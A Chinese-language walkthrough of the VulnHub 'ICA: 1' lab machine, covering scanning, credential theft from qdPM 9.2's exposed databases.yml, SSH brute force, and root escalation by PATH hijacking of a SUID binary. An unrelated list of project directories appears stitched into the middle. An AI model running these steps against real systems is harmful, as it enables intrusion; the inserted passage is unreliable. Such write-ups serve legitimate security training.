ical
靶场环境
靶场下载地址:https://www.vulnhub.com/entry/ica-1,748/
ical(靶机:192.168.3.123
kali:192.168.2.25
信息收集
打开ical靶机即可看到IP地址:192.168.3.123

使用nmap对靶机进行更详细的扫描:
nmap -sV -p- 192.168.3.123 -O

可以看到该主机开放了22ssh,80http、3306MySQL端口和服务
操作系统为Linux
思路:
- 22ssh可以进行ssh连接密码爆破
- 80http可以查找漏洞,上传webshell
- 3306mysql,数据库密码爆破
扫描一下是否存在漏洞:

在HTTP服务上发现了一些可能的CSRF漏洞
发现了一些潜在的目录和文件,可能包含敏感信息或可利用的漏洞
访问一下靶机开放的http服务:

可以看到是一个登录页面,使用的是qdpm 9.2 版本
wappalyzer信息:

使用dirsearch对网站进行目录扫描:


Workspace结构如下:
src:源代码目录,包含项目的源代码文件。
lib:库文件目录,包含项目依赖的外部库文件。
docs:文档目录,包含项目的文档、说明和规范等。
tests:测试目录,包含项目的单元测试、集成测试等。
bin:可执行文件目录,包含项目的可执行文件。
config:配置文件目录,包含项目的配置文件。
data:数据文件目录,包含项目所需的数据文件。
assets:资源文件目录,包含项目的静态资源文件,如图像、样式表、脚本等。
logs:日志文件目录,包含项目的运行日志文件。
tmp:临时文件目录,包含项目的临时文件。
dist:分发目录,包含项目的分发版本文件。
env:虚拟环境目录,包含项目的虚拟环境。
查询是否存在框架漏洞:
searchsploit qdpm

发现有两个9.2的漏洞可以使用
漏洞利用
先查看一下第一个
cat /usr/share/exploitdb/exploits/php/webapps/50854.txt

翻译:
利用步骤:
1) 制作一个给定POC的HTML文件(相应地更改用户ID字段)并托管它。
2) 把它发给受害者。
再看第二个:
cat /usr/share/exploitdb/exploits/php/webapps/50176.txt

翻译:
数据库的密码和连接字符串存储在yml文件中。要访问yml文件,您可以访问http://
第二个貌似可以利用一下,
靶机的ip地址是192.168.3.123
访问:http://192.168.3.123/core/config/databases.yml,浏览器会下载一个yml文件

打开文件,即可看见数据库的用户名和密码:
用户名:qdpmadmin
密码:UcVQCMQk2STVeS6J

使用Navicat进行连接:

可以看到该数据表中存有几个用户名:

需要将用户名转换为小写
smith
lucas
travis
dexter
meyer
密码也能够在表里找到:

不过mysql的密码是经过base64加密处理的,所以需要拿去解密,解密出来的密码:
suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy
推荐使用的解密网站:https://www.cmd5.com/
在kali中创建两个文件:user.txt和passwd.txt,使用hydra进行密码破解:

使用nmap的nse脚本爆破一下ssh:
nmap -p 22 --script=ssh-brute --script-args userdb='/root/Desktop/user.txt',passdb='/root/Desktop/passwd.txt' 192.168.3.123

发现两对匹配的用户名和密码:
dexter:7ZwV4qtg42cmUXGX
travis:DJceVy98W28Y7wLg
尝试使用第一对登录,可以成功登录:

ls列出目录,发现存在一个note.txt

翻译:
在我看来,在访问系统时存在一个弱点。
据我所知,可执行文件的内容是部分可见的。
我需要查明是否存在漏洞。
意思就是存在漏洞,要自己去找
提权
看一下有权限的文件:
dexter@debian:/$ find - / -perm -u=s 2>/dev/null

第一个文件很可疑,查看一下,在一堆乱码中可以看到

翻译:cat/root/system.info无法创建访问系统的套接字。所有服务都已禁用。仅允许在工作时间内访问系统。
cat可以打开root下的文件,说明cat具有root权限,没有指定cat位置,创建一个cat文件,写入到环境变量里,就可以提权了
# 在 /tmp 目录下创建一个名为 cat 的文件,内容为 /bin/bash 的路径。
# 这通常是一个 shell 的路径,意味着这个文件可以被用来执行 bash shell。
echo '/bin/bash' > /tmp/cat
# 为 /tmp/cat 文件添加执行权限,使其可以被执行。
chmod +x /tmp/cat
# 打印当前 PATH 环境变量的值。PATH 变量定义了系统查找命令的目录列表。
echo $PATH
# 修改 PATH 环境变量,将 /tmp 目录添加到 PATH 的开头。
# 这意味着当执行命令时,系统首先会在 /tmp 目录下查找该命令。
export PATH=/tmp:$PATH
# 尝试执行位于 /opt 目录下的 get_access 文件。
# 根据后续的输出,这个文件可能是用来提升权限的脚本或程序。
/opt/get_access
# 提示符变为 root@debian:/#,表示当前用户已经切换到 root 用户。
# 这通常意味着 get_access 脚本成功提升了执行者的权限。
root@debian:/#

ok!提权成功
在/root下可以看到一个root.txt文件,用cat是无法打开文件的,使用more命令可以进行查看:
